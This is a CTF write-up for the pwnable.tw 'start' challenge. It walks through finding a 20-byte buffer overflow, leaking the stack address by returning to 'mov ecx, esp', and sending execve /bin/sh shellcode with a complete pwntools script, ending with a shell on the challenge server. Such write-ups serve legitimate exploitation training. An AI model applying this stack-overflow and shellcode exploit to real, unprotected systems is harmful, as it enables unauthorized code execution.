This challenge is quite simple, it has no protection against the hacker. Just use buffer overflow to change the return address and you can leak stack address. You can then send your shellcode to get the flag.


Finding the buffer size

I used a tool Overflow Exploit Pattern Generator generating a 50 character long string. Running the executable trough tools such as GDB Enhanced Features (GEF) and checking the contents of the EIP registry, we can see the string 6Aa7. We now can check this string in the Overflow Exploit Pattern Generator and calculate out the buffer size. The buffer size is 20.


Finding the stack pointer

Disassembling the binary;

0x08048060  push esp
0x08048061  push loc._exit
0x08048066  xor eax, eax
0x08048068  xor ebx, ebx
0x0804806a  xor ecx, ecx
0x0804806c  xor edx, edx
0x0804806e  push 0x3a465443             ; 'CTF:'
0x08048073  push 0x20656874             ; 'the '
0x08048078  push 0x20747261             ; 'art '
0x0804807d  push 0x74732073             ; 's st'
0x08048082  push 0x2774654c             ; 'Let''
0x08048087  mov ecx, esp
0x08048089  mov dl, 0x14                ; 20
0x0804808b  mov bl, 1
0x0804808d  mov al, 4
0x0804808f  int 0x80
0x08048091  xor ebx, ebx
0x08048093  mov dl, 0x3c                ; '<' ; 60
0x08048095  mov al, 3
0x08048097  int 0x80
0x08048099  add esp, 0x14
0x0804809c  ret
0x0804809d  pop esp
0x0804809e  xor eax, eax
0x080480a0  inc eax
0x080480a1  int 0x80

We want to return to 0x08048087 right before the code sets up for sys_write. This way we can leak the stack pointer.


Start making our payload

Now that we know where to find the stack pointer, we start crafting our payload.

from pwn import *
import os
elf = ELF("./start")

local = True

if local == True:
    p = elf.process()
else:
    url = "chall.pwnable.tw"
    port = 10000
    p = remote(url, port)

payload = ("A" * 20).encode("utf-8") # fill the buffer!
payload += p32(0x08048087) # "mov ecx, esp"

print(p.recvuntil("CTF:"))
print("\n[+] Leaking stack address...")
p.send(payload)
stackAddress = unpack(p.read()[:4])
print("\n[+] Leaked Address: " + hex(stackAddress))

This will give us the stack pointer.


Making our shellcode and getting shell

from pwn import *
import os
elf = ELF("./start")

local = False

if local == True:
    p = elf.process()
else:
    url = "chall.pwnable.tw"
    port = 10000
    p = remote(url, port)

payload = ("A" * 20).encode("utf-8") # fill the buffer!
payload += p32(0x08048087) # "mov ecx, esp"

print(p.recvuntil("CTF:"))
print("\n[+] Leaking stack address...")
p.send(payload)
stackAddress = unpack(p.read()[:4])
print("\n[+] Leaked Address: " + hex(stackAddress))

shellcode = ("A" * 20).encode("utf-8")
shellcode += p32(stackAddress + 20)
shellcode += asm('xor eax, eax')
shellcode += asm('add eax, 0xb')
shellcode += asm('xor ecx, ecx')
shellcode += asm('xor edx, edx')
shellcode += asm('xor esi, esi')
shellcode += asm('push 0x' + '/sh\x00'[::-1].encode("utf-8").hex())
shellcode += asm('push 0x' + '/bin'[::-1].encode("utf-8").hex())
shellcode += asm('mov ebx, esp')
shellcode += asm('int 0x80')
shellcode += asm('push 0x0804809d')
shellcode += asm('ret')
print("\n[+] Generated shellcode: " + str(shellcode))

p.send(shellcode)
p.interactive()

After executing this code, I got access to the system and got my flag!

[*] '/home/foxmaccloud/Documents/CTF/Pwnable.tw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to chall.pwnable.tw on port 10000: Done
b"Let's start the CTF:"

[+] Leaking stack address...

[+] Leaked Address: 0xffcfa730

[+] Generated shellcode: b'AAAAAAAAAAAAAAAAAAAAD\xa7\xcf\xff1\xc0\x83\xc0\x0b1\xc91\xd21\xf6h/sh\x00h/bin\x89\xe3\xcd\x80h\x9d\x80\x04\x08\xc3'
[*] Switching to interactive mode
$ id
uid=1000(start) gid=1000(start) groups=1000(start)
$ whoami
start